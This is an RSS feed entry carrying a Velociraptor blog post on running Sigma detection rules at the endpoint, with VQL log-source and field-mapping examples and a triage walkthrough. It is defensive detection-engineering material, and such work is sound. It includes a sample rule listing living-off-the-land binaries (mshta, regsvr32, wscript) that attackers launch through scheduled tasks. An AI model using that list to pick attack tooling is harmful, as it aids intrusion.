      <link>https://www.velociraptor-docs.org/blog/2023/2023-11-15-sigma_in_velociraptor/</link>
      <pubDate>Sun, 15 Oct 2023 00:14:44 +1000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2023/2023-11-15-sigma_in_velociraptor/</guid>
      <description>&lt;p&gt;This page discusses how Sigma is implemented and used within&#xA;Velociraptor.&lt;/p&gt;&#xA;&lt;h2 id=&#34;what-is-sigma&#34;&gt;What is Sigma?&lt;/h2&gt;&#xA;&lt;p&gt;Detection engineering is an evolving field with many practitioners&#xA;developing and evolving signatures rapidly, as new threats emerge and&#xA;better detection capabilities are introduced. However, much of the&#xA;time the specifics of how to write detection rules depend on the&#xA;underlying software and detection engine. For example, a particular&#xA;detection rule written to work on Elastic based SIEM is not easy to&#xA;port to a different platform (e.g. Splunk).&lt;/p&gt;&#xA;&lt;p&gt;Sigma is an attempt to abstract away the specifics of the detection&#xA;engine into a generic high level signature description. The &lt;code&gt;Sigma Rule&lt;/code&gt;, theoretically, does not target a specific detection product,&#xA;but instead described high level concepts like process execution,&#xA;registry access etc.&lt;/p&gt;&#xA;&lt;p&gt;By providing a high level taxonomy for practitioners, detection rules&#xA;can be exchanged with others in the community, even people using&#xA;different backend detection engines.&lt;/p&gt;&#xA;&lt;p&gt;Traditionally, a Sigma rule is not directly usable by many backend&#xA;detection engines. Instead a &lt;code&gt;Sigma Compiler&lt;/code&gt; transforms the Sigma&#xA;rule to a specific query in the backend&amp;rsquo;s native query language. For&#xA;example a Sigma rule may be &amp;ldquo;compiled&amp;rdquo; into an Elastic Query, or&#xA;Splunk Query as needed.&lt;/p&gt;&#xA;&lt;p&gt;While the full details of Sigma are described in the Main Sigma page&#xA;&lt;a href=&#34;https://sigmahq.io/&#34; target=&#34;_blank&#34; &gt;https://sigmahq.io/&lt;/a&gt; , in this post we will discuss as a high level&#xA;those aspects of Sigma directly relevant to the Velociraptor&#xA;implementation.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-is-sigma-used-traditionally&#34;&gt;How is Sigma used traditionally?&lt;/h2&gt;&#xA;&lt;p&gt;Sigma was designed to write detection rules for traditional SIEM based&#xA;detection engines.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-sigma_in_velociraptor//blog/2023/2023-11-15-sigma_in_velociraptor/traditional_siem.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Traditional SIEM workflow&#34;&#xA;         width=&#34;1330&#34; height=&#34;490&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;traditional_siem.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Traditional SIEM workflow&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Such a system is shown above:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Log Sources like event logs are collected by an endpoint agent&lt;/li&gt;&#xA;&lt;li&gt;Events are forwarded over the network to a SIEM or central data lake solution.&lt;/li&gt;&#xA;&lt;li&gt;Sigma Rules are compiled into native queries against the SIEM solution&lt;/li&gt;&#xA;&lt;li&gt;The SIEM or data lake implementation uncovers detections based on this query.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In practice, each SIEM product has a unique way of normalizing the&#xA;available data to fit within their own database schema. For example&#xA;the Elastic ecosystem uses the &lt;a href=&#34;https://www.elastic.co/guide/en/ecs/current/index.html&#34; target=&#34;_blank&#34; &gt;Elastic Common Schema&#xA;(ECS)&lt;/a&gt;. The&#xA;ECS schema converts from certain fields in the original event log file&#xA;to different field names within the ECS - for example the field&#xA;&lt;code&gt;System.TimeCreated.SystemTime&lt;/code&gt; in the event log file is translated to&#xA;the field &lt;code&gt;@timestamp&lt;/code&gt; by the Elastic agent for storage in the database.&lt;/p&gt;&#xA;&#xA;&lt;div class=&#34;mynotices warning&#34;&gt;&#xA;  &lt;div heading=&#34;warning&#34;&gt;&lt;p&gt;It is often hard to know exactly what the translation is supposed to&#xA;be because vendors attempt to normalize many different log sources to&#xA;the same schema. In the case of ECS the &lt;a href=&#34;https://www.elastic.co/guide/en/ecs/current/ecs-field-reference.html&#34; target=&#34;_blank&#34; &gt;reference&#xA;documentation&lt;/a&gt;&#xA;is incredibly vague and we need to resort to reading the code to&#xA;figure out the exact field mappings to understand exactly where each&#xA;field is gathered from. Additionally, this translation is not always a&#xA;simple renaming, but sometimes involves a non-trivial transformation&#xA;by the Elastic agent which is not always well documented.&lt;/p&gt;&#xA;&lt;/div&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&lt;h2 id=&#34;the-sigma-rule&#34;&gt;The Sigma rule&lt;/h2&gt;&#xA;&lt;p&gt;Sigma is designed to be a high level abstracted notation that can&#xA;cater for the differences between the backends. This is achieved by&#xA;defining yet another layer of abstraction over the original&#xA;events. Consider the following reduced Sigma rule (&lt;a href=&#34;https://github.com/Yamato-Security/hayabusa-rules/blob/main/sigma/builtin/taskscheduler/win_taskscheduler_lolbin_execution_via_task_scheduler.yml&#34; target=&#34;_blank&#34; &gt;The full rule here&lt;/a&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;title: Scheduled Task Executed Uncommon LOLBIN&#xA;logsource:&#xA;    product: windows&#xA;    service: taskscheduler&#xA;detection:&#xA;    taskscheduler:&#xA;        Channel: Microsoft-Windows-TaskScheduler/Operational&#xA;    selection:&#xA;        EventID: 129&#xA;        Path|endswith:&#xA;            - \calc.exe&#xA;            - \cscript.exe&#xA;            - \mshta.exe&#xA;            - \mspaint.exe&#xA;            - \notepad.exe&#xA;            - \regsvr32.exe&#xA;            - \wscript.exe&#xA;    condition: taskscheduler and selection&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Above we only included limited fields for the purpose of this discussion.&lt;/p&gt;&#xA;&lt;p&gt;The rule triggers when the &lt;code&gt;TaskScheduler&lt;/code&gt; event log file contains an&#xA;event id 129 &lt;a href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc774964%28v=ws.10%29&#34; target=&#34;_blank&#34; &gt;Task Scheduler launched&#xA;task&lt;/a&gt;&#xA;and the process launched ends with one of the executables listed.&lt;/p&gt;&#xA;&lt;p&gt;To actually match this rule, The Sigma compiler needs to perform two&#xA;mappings:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The &lt;code&gt;logsource&lt;/code&gt; is ultimately mapped to the&#xA;&lt;code&gt;C:/Windows/System32/WinEvt/Logs/Microsoft-Windows-TaskScheduler%4Operational.evtx&lt;/code&gt;&#xA;event log file or whatever table the backend SIEM uses to&#xA;collect/store these events.&lt;/li&gt;&#xA;&lt;li&gt;Each field referenced in the Sigma rule needs to be mapped to the&#xA;field in the actual event. For example in this case the field&#xA;&lt;code&gt;Path&lt;/code&gt; needs to be translated to the field &lt;code&gt;EventData.Path&lt;/code&gt; within&#xA;the original event log, or whatever the specific SIEM uses to&#xA;normalize that original field into its own database schema.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h3 id=&#34;limitations-of-the-sigma-format&#34;&gt;Limitations of the Sigma format&lt;/h3&gt;&#xA;&lt;p&gt;By introducing yet another layer of abstraction over the original&#xA;event logs, the analyst needs to learn another taxonomy to reference&#xA;the underlying data they are interested in. For example, in the above&#xA;rule, the analyst wants to detect events found in the specific log&#xA;file on the endpoint, but needs to know that Sigma uses the&#xA;&lt;code&gt;logsource&lt;/code&gt; specification with &lt;code&gt;product=windows, service=taskscheduler&lt;/code&gt; to actually refer to that file.&lt;/p&gt;&#xA;&lt;p&gt;In real life, there is a natural trade off between forwarding more&#xA;events from the system (increasing detection capabilities) at the cost&#xA;of more network transmission, storage requirement and scaling the&#xA;backend database to handle the larger data sizes.&lt;/p&gt;&#xA;&lt;p&gt;Typically this means that not &lt;strong&gt;all&lt;/strong&gt; event logs are forwarded off the&#xA;machine, only those that are considered relevant or important are&#xA;forwarded. The exact choice of which event logs to forward depends on&#xA;both the choice of SIEM vendor and the specific configuration of the&#xA;SIEM involved.&lt;/p&gt;&#xA;&lt;p&gt;For example, while there are a number of officially recognized &lt;a href=&#34;https://sigmahq.io/docs/basics/log-sources.html&#34; target=&#34;_blank&#34; &gt;log&#xA;sources&lt;/a&gt; there is no&#xA;guarantee that the underlying SIEM actually forwards any of these&#xA;logs, and just like in the ECS example given above, there is no&#xA;directly documented mapping between the abstract log sources and the&#xA;actual files on disk.&lt;/p&gt;&#xA;&lt;p&gt;To actually use the Sigma rule, we need to provide both the log source&#xA;mapping and field mapping to the sigma compiler.  Sigma is not&#xA;actually its own matching engine, but simply a translation layer&#xA;between an abstract format and the backend SIEM.&lt;/p&gt;&#xA;&lt;p&gt;Sigma provides a set of compiler modules and field translations for a&#xA;number of popular backend SIEMs with varying capabilities and internal&#xA;schemas.&lt;/p&gt;&#xA;&lt;p&gt;In practice, The Sigma rules need to be written with the target SIEM&#xA;solution in mind, as well as the specific configuration of the entire&#xA;system. For example, if a SIEM rule is written to use the &lt;a href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/sysmon&#34; target=&#34;_blank&#34; &gt;Sysmon&#xA;registry events (event ID&#xA;12,13,14)&lt;/a&gt;&#xA;there is no guarantee that these events are actually forwarded from&#xA;the endpoint into the SIEM (that depends on collection&#xA;considerations), or that the target SIEM even supports these event&#xA;types at all.&lt;/p&gt;&#xA;&lt;p&gt;As an analyst writing Sigma rules, the additional layer of abstraction&#xA;might seem pointless - they need to think of their rule in a different&#xA;abstract terms to the SIEM that will actually be running these rules,&#xA;but at the same time need to know exactly what backend query will be&#xA;produced and if this query is even supported on their particular&#xA;SIEM. It is very easy to write a rule that simply will not work on&#xA;their particular backend SIEM because it uses some feature, log source&#xA;or event field that is simply not available.&lt;/p&gt;&#xA;&lt;h3 id=&#34;advantages-of-sigma&#34;&gt;Advantages of Sigma&lt;/h3&gt;&#xA;&lt;p&gt;Despite these practical limitations, Sigma has grown in popularity in&#xA;recent years because it allows for easy exchange of detection rules&#xA;between users of different SIEM backends.&lt;/p&gt;&#xA;&lt;p&gt;While not perfect, there is a reasonable chance that a Sigma rule&#xA;written with one backend SIEM in mind will also work on another,&#xA;providing it uses fairly common log sources and commonly collected&#xA;event types, and does not use too complicated operators.  This allows&#xA;Sigma to be an attractive choice for writing and developing detection&#xA;rules, especially for users who need to switch between many backend&#xA;systems all the time.&lt;/p&gt;&#xA;&lt;h2 id=&#34;how-is-sigma-implemented-in-velociraptor&#34;&gt;How is Sigma implemented in Velociraptor?&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor is not a traditional SIEM and does not rely on a scalable&#xA;large backend data mining engine for querying collected data. Instead,&#xA;Velociraptor&amp;rsquo;s power lies in its &lt;a href=&#34;https://www.velociraptor-docs.org/docs/vql/&#34;&gt;Velociraptor Query&#xA;Language&lt;/a&gt; which allows the&#xA;endpoint agent itself to query data directly on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;This means that Velociraptor has access to all information available&#xA;on the endpoint without needing to rely on specific log forwarding&#xA;configuration. Instead, queries are run directly on the endpoint and&#xA;only matching events are forwarded to the server. This minimizes the&#xA;total amount of data that needs to be managed by the server to only&#xA;high value, relevant events that already match the Sigma rules.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;  &#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-sigma_in_velociraptor//blog/2023/2023-11-15-sigma_in_velociraptor/velociraptor_sigma_flow_.svg&#34; alt=&#34;Velociraptor Sigma Workflow&#34;&#xA;         class=&#34;inline&#34;&#xA;         height=&#34;525.4545454545455&#34;&#xA;         width=&#34;1082.383226927995&#34;  /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;velociraptor_sigma_flow.svg&#34;&gt;&lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Velociraptor Sigma Workflow&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The above figure outlines the Velociraptor Sigma workflow:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Sigma rules are synced to the endpoint via a Standard Velociraptor&#xA;Collection and are applied to an internal Sigma rule matching&#xA;engine.&lt;/li&gt;&#xA;&lt;li&gt;The engine determines which log sources will be used based on the&#xA;actual rule requirement. Parsing additional log sources is easy to&#xA;implement via a VQL query.&lt;/li&gt;&#xA;&lt;li&gt;Events are collected from the relevant local log sources (e.g. by&#xA;parsing the relevant EVTX files) and are compared efficiently&#xA;against the set of Sigma rules target each log source.&lt;/li&gt;&#xA;&lt;li&gt;Only matches are forwarded to the cloud (tagged by the Sigma rules&#xA;by severity levels - e.g. Critical, High, Medium)&lt;/li&gt;&#xA;&lt;li&gt;The Velociraptor server only deals with high value events by&#xA;writing to local storage or forwarding to a SIEM for&#xA;alerting/escalation.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In this arrangement, the event volumes sent to the server are very&#xA;small because only post-filtered events are handled.&lt;/p&gt;&#xA;&lt;h3 id=&#34;the-sigma-velociraptor-plugin&#34;&gt;The Sigma Velociraptor plugin&lt;/h3&gt;&#xA;&lt;p&gt;As explained above, Sigma is an abstract format which requires&#xA;implementations to provide a mapping between &lt;code&gt;log sources&lt;/code&gt; and actual&#xA;concrete implementations of these sources. Before we can match any&#xA;Sigma rules in Velociraptor we need to teach Velociraptor how to map&#xA;between the log sources mentioned in a Sigma rule and a real VQL query&#xA;that will provide events from that source.&lt;/p&gt;&#xA;&lt;p&gt;This mapping is created using the VQL &lt;code&gt;sigma_log_sources()&lt;/code&gt;&#xA;function. The function receives a list of log source names and their&#xA;corresponding VQL queries.&lt;/p&gt;&#xA;&lt;p&gt;For example, consider the following definition:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;LET LogSources &amp;lt;= sigma_log_sources(&#xA;  `*/windows/taskscheduler`={&#xA;         SELECT * FROM parse_evtx(&#xA;          filename=ROOT+&amp;quot;/Microsoft-Windows-TaskScheduler%4Operational.evtx&amp;quot;)&#xA;  },&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When Velociraptor encounters the Sigma rule above it will look for a&#xA;defined log source with &lt;code&gt;category=*, product=windows, service=taskscheduler&lt;/code&gt; forming the following key&#xA;&lt;code&gt;*/windows/taskscheduler&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The second mapping described above is between the rules mentioned in&#xA;the Sigma rule and the underlying fields in the actual&#xA;event. Velociraptor implements these mapping definitions via &lt;code&gt;VQL Lambda&lt;/code&gt; functions.&lt;/p&gt;&#xA;&lt;p&gt;For example consider the following field mapping definitions:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;LET FieldMapping &amp;lt;= dict(&#xA;  Path=&amp;quot;x=&amp;gt;x.EventData.Path&amp;quot;&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When Velociraptor attempts to evaluate a field mentioned in the Sigma&#xA;rule, the Velociraptor Sigma engine will pass the event to this lambda&#xA;function to resolve the actual field required. This allows us to&#xA;implement any translation operation between Sigma fields and data&#xA;based on the event itself - including more complex enrichment&#xA;operators (more on that later!).&lt;/p&gt;&#xA;&lt;p&gt;After defining the log sources and field mapping, we are ready to&#xA;match Sigma rules using the &lt;code&gt;sigma()&lt;/code&gt; &lt;a href=&#34;https://www.velociraptor-docs.org/vql_reference/popular/sigma/&#34;&gt;VQL plugin&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;This plugin receives a number of arguments:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;rules&lt;/code&gt;: A list of sigma rules to compile and match.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;log_sources&lt;/code&gt;: A log source object as obtained from the&#xA;&lt;code&gt;sigma_log_sources()&lt;/code&gt; VQL function described above.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;field_mapping&lt;/code&gt;: A dict containing a mapping between a rule field&#xA;name and a VQL Lambda to get the value of the field from the&#xA;event.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;debug&lt;/code&gt;: If enabled we emit all match objects with description of&#xA;what would match.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;rule_filter&lt;/code&gt;: If specified we use this callback to filter the rules&#xA;for inclusion.Lambda&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;default_details&lt;/code&gt;: If specified we use this callback to determine a&#xA;details column if the sigma rule does not specify it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;For an example of a simple Sigma based artifact, See the&#xA;&lt;code&gt;Windows.Sigma.EventLogs&lt;/code&gt; artifact&lt;/p&gt;&#xA;&lt;h2 id=&#34;managing-a-large-repository-of-sigma-rules&#34;&gt;Managing a large repository of Sigma rules&lt;/h2&gt;&#xA;&lt;p&gt;The previous section described how Sigma rule matching is implemented&#xA;in Velociraptor, but in practice we typically have a large number of&#xA;Sigma rules, perhaps imported from external sources.&lt;/p&gt;&#xA;&lt;p&gt;There are some challenges with Sigma and some rules are not written&#xA;precisely enough to work in Velociraptor. For example, Sigma rules may&#xA;reference non-existent log sources, or unknown fields that do not&#xA;correspond to anything in the standard field mappings.&lt;/p&gt;&#xA;&lt;p&gt;For this reason it is best to manage a large Sigma rule set using a&#xA;specialized tool &lt;code&gt;velosigmac&lt;/code&gt;. You can find this tool at&#xA;&lt;a href=&#34;https://sigma.velocidex.com&#34; target=&#34;_blank&#34; &gt;https://sigma.velocidex.com&lt;/a&gt; or&#xA;&lt;a href=&#34;https://github.com/Velocidex/velociraptor-sigma-rules&#34; target=&#34;_blank&#34; &gt;https://github.com/Velocidex/velociraptor-sigma-rules&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The repository already contains a large number of rules from the Sigma&#xA;project as well as &lt;a href=&#34;https://github.com/Yamato-Security/hayabusa-rules&#34; target=&#34;_blank&#34; &gt;Hayabusa&#xA;rules&lt;/a&gt;, but you can&#xA;also add your own rules.&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;velosigmac&lt;/code&gt; tool is controlled via a config file specifying the&#xA;various log sources and field mappings, and produces a zip file&#xA;containing a Velociraptor artifact.&lt;/p&gt;&#xA;&lt;p&gt;You can import the curated Sigma rules automatically by collecting the&#xA;&lt;code&gt;Server.Import.CuratedSigma&lt;/code&gt; server artifact.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-sigma_in_velociraptor//blog/2023/2023-11-15-sigma_in_velociraptor/getting_curated_rules.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Getting the Curated Sigma rules&#34;&#xA;         width=&#34;1114&#34; height=&#34;384&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;getting_curated_rules.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Getting the Curated Sigma rules&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Currently there are two types of curated artifacts:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A Curated ruleset based on the Hayabusa rules. This artifact is a&#xA;regular CLIENT type artifact that can be used to scan all EVTX&#xA;files on the endpoint for rules matches.&lt;/li&gt;&#xA;&lt;li&gt;An Event based monitoring artifact that once installed follows all&#xA;EVTX files to alert on Sigma rule matches in real time.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 id=&#34;sigma-alerting-via-a-client-artifact&#34;&gt;Sigma alerting via a CLIENT artifact&lt;/h2&gt;&#xA;&lt;p&gt;Velociraptor is not the only tool that can apply Sigma rules to a live&#xA;system. Previously Velociraptor was integrated with&#xA;&lt;a href=&#34;https://github.com/Yamato-Security/hayabusa&#34; target=&#34;_blank&#34; &gt;Hayabusa&lt;/a&gt;,&#xA;&lt;a href=&#34;https://github.com/WithSecureLabs/chainsaw&#34; target=&#34;_blank&#34; &gt;Chainsaw&lt;/a&gt; for quick&#xA;triage using Sigma rules.&lt;/p&gt;&#xA;&lt;p&gt;The ability to triage a system efficiently using Sigma rules allows&#xA;first responders to quickly isolate the machines that need further&#xA;investigation. In this regard the Sigma rules do not have to be&#xA;perfect - they just need to indicate those machines requiring further&#xA;work.&lt;/p&gt;&#xA;&lt;p&gt;By applying a standard set of Sigma signatures to a large numbers of&#xA;machines we can identify the interesting hosts quickly. An excellent&#xA;demonstration of this technique can be seen in the Video &lt;a href=&#34;https://youtu.be/Q1IoGX--814?si=sRu1o7uAJqezjIwY&amp;amp;t=3858&#34; target=&#34;_blank&#34; &gt;Live&#xA;Incident Response with&#xA;Velociraptor&lt;/a&gt;&#xA;where Eric Capuano uses the Hayabusa tool deployed via Velociraptor to&#xA;quickly identify the attack techniques evident on the endpoint.&lt;/p&gt;&#xA;&lt;p&gt;Now that Sigma is built into the Velociraptor engine itself, using&#xA;these signatures is much more efficient. Simple collect the artifact&#xA;imported earlier and collect it from the host in question, or start a&#xA;hunt for all hosts.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-sigma_in_velociraptor//blog/2023/2023-11-15-sigma_in_velociraptor/collecting_sigma_rules.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Collecting sigma rules from the endpoint&#34;&#xA;         width=&#34;1180&#34; height=&#34;577&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;collecting_sigma_rules.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Collecting sigma rules from the endpoint&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The artifact has a number of configurable settings:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;RuleLevel&lt;/code&gt; specifies which rules to include. Including lower level&#xA;rules may detect interesting events but will also increase the&#xA;false positive rate.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;RuleStatus&lt;/code&gt; specifies which rule status to include - stable rules&#xA;are more tested and less likely to produce false positives.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;In the example below I collected &lt;code&gt;Critical and High&lt;/code&gt; level rules. It&#xA;is instructive to see the query log:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-sigma_in_velociraptor//blog/2023/2023-11-15-sigma_in_velociraptor/query_logs.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Query logs for Sigma collection&#34;&#xA;         width=&#34;2113&#34; height=&#34;999&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;query_logs.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Query logs for Sigma collection&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;As can be seen the artifact selects 63 rules based on the Rule Level&#xA;and Status parameters. These rules end up referencing only 8 log&#xA;sources, so Velociraptor will only look at 8 log files - the largest&#xA;of these of these is the &lt;code&gt;System&lt;/code&gt; log which contains 178k events.&lt;/p&gt;&#xA;&lt;p&gt;Overall, Velociraptor found 81 hits on these Sigma rules in 57&#xA;seconds, and immediately we can see some critical information:&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-sigma_in_velociraptor//blog/2023/2023-11-15-sigma_in_velociraptor/detecting_critical_rules.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Detecting critical level rules&#34;&#xA;         width=&#34;2013&#34; height=&#34;432&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;detecting_critical_rules.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Detecting critical level rules&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s select &lt;code&gt;All Rules&lt;/code&gt; with a status of &lt;code&gt;Stable and Experimental&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-sigma_in_velociraptor//blog/2023/2023-11-15-sigma_in_velociraptor/query_logs_all.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Query logs for Sigma collection with All Rules&#34;&#xA;         width=&#34;2045&#34; height=&#34;729&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a class=&#34;image-link&#34;&#xA;       target=&#34;_blank&#34; rel=&#34;noopener noreferrer&#34;&#xA;       href=&#34;query_logs_all.png&#34;&gt;&#xA;      &lt;i class=&#34;fa fa-download&#34;&gt;&lt;/i&gt;&lt;/a&gt;&#xA;    Query logs for Sigma collection with All Rules&#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This time, there are 1500 rules matching 41 different log sources. The&#xA;additional work required makes Velociraptor take 117 seconds now and&#xA;it returns over 62 thousand hits!&lt;/p&gt;&#xA;&lt;p&gt;The number of hits is too large to manually review, so I typically&#xA;just want to know which rules were matched by stacking on the rule&#xA;Title:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-sql&#34;&gt;SELECT * FROM source(artifact=&amp;quot;Sigma.Windows.Hayabusa.Rules&amp;quot;)&#xA;GROUP BY Title&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This reduces the number of rows to 62. I can immediately see&#xA;interesting hits, even though they may be at low or informational&#xA;level.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2023/2023-11-15-sigma_in_velociraptor//blog/2023/2023-11-15-sigma_in_velociraptor/detecting_all_rules.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;Detecting all rules in all levels&#34;&#xA;         width=&#34;2019&#34; height=&#34;846&#34;&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &lt;a 